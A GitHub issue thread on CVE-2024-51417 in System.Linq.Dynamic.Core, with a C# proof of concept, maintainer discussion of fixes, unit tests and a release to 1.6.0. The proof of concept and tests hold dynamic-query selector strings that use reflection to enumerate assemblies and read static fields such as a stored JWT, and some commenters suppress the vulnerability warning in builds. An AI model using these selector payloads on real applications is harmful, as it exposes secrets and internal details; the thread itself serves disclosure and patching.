CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields

[mariusz96]

Summary

System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.

Details

Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.

Access to static properties/fields allows just as implied.

PoC

using System.Linq.Dynamic.Core;

var customers = new List<Customer>()
{
    new Customer()
    {
        Id = 1,
        Name = "Mariusz"
    }
};

var userSuppliedColumns1 = new[]
{
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName))
    """,
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName))
    """,

    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
    """,
    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns1)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

var userSuppliedColumns2 = new[]
{
    """
    AppSettings.SettingsProp["jwt"]
    """,
    """
    AppSettings.SettingsField["jwt"]
    """,

    """
    c => AppSettings.SettingsProp["jwt"]
    """,
    """
    c => AppSettings.SettingsField["jwt"]
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns2)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public static class AppSettings
{
    public static Dictionary<string, string> SettingsProp { get; } = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };

    public static Dictionary<string, string> SettingsField = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };
}

Impact

Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).

[kwaazaar]

Reported by nuget

[daesk]

Hi, @StefH anyone working on this? Any timeline.
We are using the latest version and all our github action and devops builds are failing now

[StefH]

We are investigating the issue.

Initial research shows that whitelisting the allowed types would be a solution to fix both issues, however this will impact the usability from this library.

No timeline is known yet.

[wbuck]

Just so I'm clear, there is no work around at this time?

[jojoman2]

Just so I'm clear, there is no work around at this time?

If the code is not building because you treat warnings as errors, you can add
<WarningsNotAsErrors>NU1903</WarningsNotAsErrors>
to your csproj file to temporarily not treat this warning as an error so your code will build again. Then you can remove that when it is patched.

[DJFoxHound]

We've added the following to our impacted project's csproj file:

	<ItemGroup>
	  <NuGetAuditSuppress Include="https://github.com/advisories/GHSA-4cv2-4hjh-77rx" />
	</ItemGroup>

It also passes trough our devops pipelines this way, so we are not completely blocked at the moment, off course this can't be a permanent solution

[StefH]

@mariusz96
Thanks for the detailed information in this issue.

Issue 1. Properties on reflection types

The same result can also be achieved by calling normal C# code:

var names = typeof(Customer)
  .GetType()
  .Assembly
  .DefinedTypes
  .SelectMany(t => t.CustomAttributes)
  .Select(a => a.AttributeType)
  .Select(t => t.AssemblyQualifiedName);

foreach (var name in names)
{
    Console.WriteLine(name);
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

Issue 2. Static properties/fields

Also in this case, accessing a static class (normal or via reflection) is also possible in normal C#.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core.
This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

[Tasteful]

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case?
Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

[mariusz96]

@mariusz96 Thanks for the detailed information in this issue.

@StefH
Thanks for changing your mind about fixing this!

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

I do believe that exposing dynamic filters/queries to the client is very much the intended use case of the library. However, using GetType() as an entry point to the reflection system or accessing static properties like on Environment class is not.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core. This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

If you mean to extend the existing mechanism of white-listing methods to additionally white-list all properties and fields then it makes sense and should fix the vulnerability.

Also, when IQueryable works with database it does not seem too much work for the end user to add some attributes/configuration on their table types so they can use them with the library. Might be harder for dependent nuget packages or end users with different use cases though.

[StefH]

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case? Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

@Tasteful
This are indeed a good suggestions.

---

Issue 1. Properties on reflection types

When removing the object type from PredefinedTypes, this issue seems to be solved. So the provided POC code will now throw an exception when this change in PredefinedTypesHelper is applied.

Related unit-test code:

[Theory]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.FullName))")]
public void UsingSystemReflectionAssembly_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Methods on type 'Object' are not accessible");
}

Issue 2: Static properties/fields

This can be solved by only allowing classes which are annotated with [DynamicLinqType]. If the class is not annotated, an exception will be thrown.

Related unit-test code:

[Theory]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
public void UsingStaticClass_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Type 'System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings' not found");
}

@mariusz96
Would this solve this CVE ?

[Tasteful]

With the removal of object from the PredefinedTypes I guess it will also remove the .Equals(...) and .ToString(). Maybe it's better with an ability where it's possible to specify the MethodInfo (or MemberInfo if this should be expanded into properties/fields as well) that should be (dis)allowed, or in a combination that the PredefinedTypes will exclude object but have an explicit list of MethodInfo's that will be allowed. This is something that may be useful for classes that is decorated with DynamicLinqType where it may be only one of many method that should be exposed.

[mariusz96]

@mariusz96 Would this solve this CVE ?

@StefH Yes, it appears so. This should solve it.

Issue 2: Static properties/fields

Note that static properties/fields can also exists on non-static classes so there are actually four cases:

	Static class	Instance class
Static property
Static field

[Tasteful]

For issue 2, I guess it will be the same for static methods that they can exists on the static or instance classes. @StefH can you add test cases for them as well?

[StefH]

@mariusz96
Thanks for affirming that these fixes will solve the CVE.
Estimation will be that tomorrow a 1.6.0-preview-01 NuGet version will be released which you can use to double check your POC.

---

@Tasteful
1] Indeed the .Equals(...) and .ToString() methods will not be supported anymore because these are methods on object.
2] I've added another test for a normal class. Note that there is no difference in logic for a Static or a Instance Class.
So for any Static or Instance Class:

	Default	Class is annotated with DynamicLinqType	Class is added as AdditionalTypes to DefaultDynamicLinqCustomTypeProvider
property / field	fail	ok	ok

---

[aarondglover]

1] Indeed the .Equals(...) and .ToString() methods will not be supported anymore because these are methods on object.

Ouch!

[dev-muhammad]

Just so I'm clear, there is no work around at this time?

This code helped me get my pipeline builds through. (In pipeline warnings was treated as errors, so all builds was failing after this issue)

<PackageReference Include="System.Linq.Dynamic.Core" Version="1.5.1" >
	<NoWarn>NU1903</NoWarn>
</PackageReference>

[alfeg]

We've added the following to our impacted project's csproj file:

	<ItemGroup>
	  <NuGetAuditSuppress Include="https://github.com/advisories/GHSA-4cv2-4hjh-77rx" />
	</ItemGroup>

It also passes trough our devops pipelines this way, so we are not completely blocked at the moment, off course this can't be a permanent solution

For those using Rider - take into account that NuGetAuditSuppress not yet supported we are using following workaround

<PackageReference Include="System.Linq.Dynamic.Core" Version="1.5.1" >
	<NoWarn>NU1903</NoWarn>
</PackageReference>

[StefH]

@mariusz96
New version 1.6.0-preview-01 is available which should fix the CVE, can you verify?

[StefH]

1] Indeed the .Equals(...) and .ToString() methods will not be supported anymore because these are methods on object.

Ouch!

@aarondglover
My idea is to allow the Equals and ToString methods by using a config setting, please see #875 for the details and if this would be the correct solution allow the Equals and ToString methods.

[StefH]

@mariusz96
Were you able to check 1.6.0-preview-01 (or 1.6.0-preview-02) which should fix the CVE?

---

1.6.0-preview-02
This version adds support for Equals(object obj), Equals(object objA, object objB), ReferenceEquals(object objA, object objB) and ToString() on object type.

To enable this functionality, set AllowEqualsAndToStringMethodsOnObject to true on the ParsingConfig settings class.

[StefH]

v1.6.0-preview-03 (25 January 2025)

• #876 - Update and Fix SecurityTests [test] contributed by mariusz96
• #882 - ExpressionParser: add 2nd ctor with an extra non-optional parameter [feature] contributed by StefH
• #883 - Fix the usage of ParsingConfig in some methods in the DynamicQueryableExtensions class [bug] contributed by StefH
• #881 - ExpressionParser ctor in 1.5.0 not compatible with earlier versions [feature]

[RtypeStudios]

Thank you for the great work and prompt response.

[StefH]

Version 1.6.0 is released.

[MorgeMoensch]

Thanks for the quick reaction on this vulnerability!

1.6.0-preview-02 This version adds support for Equals(object obj), Equals(object objA, object objB), ReferenceEquals(object objA, object objB) and ToString() on object type.

To enable this functionality, set AllowEqualsAndToStringMethodsOnObject to true on the ParsingConfig settings class.

Am I getting this right: Enabling the functionality would make an application vulnerable again?

We are using this library to pass dynamic predicates into a queryable.Where(), which fails without setting the flag.

[StefH]

Thanks for the quick reaction on this vulnerability!

1.6.0-preview-02 This version adds support for Equals(object obj), Equals(object objA, object objB), ReferenceEquals(object objA, object objB) and ToString() on object type.
To enable this functionality, set AllowEqualsAndToStringMethodsOnObject to true on the ParsingConfig settings class.

Am I getting this right: Enabling the functionality would make an application vulnerable again?

We are using this library to pass dynamic predicates into a queryable.Where(), which fails without setting the flag.

The main part of the vulnerability was the fact that you could call GetType() on object, this is not allowed anymore.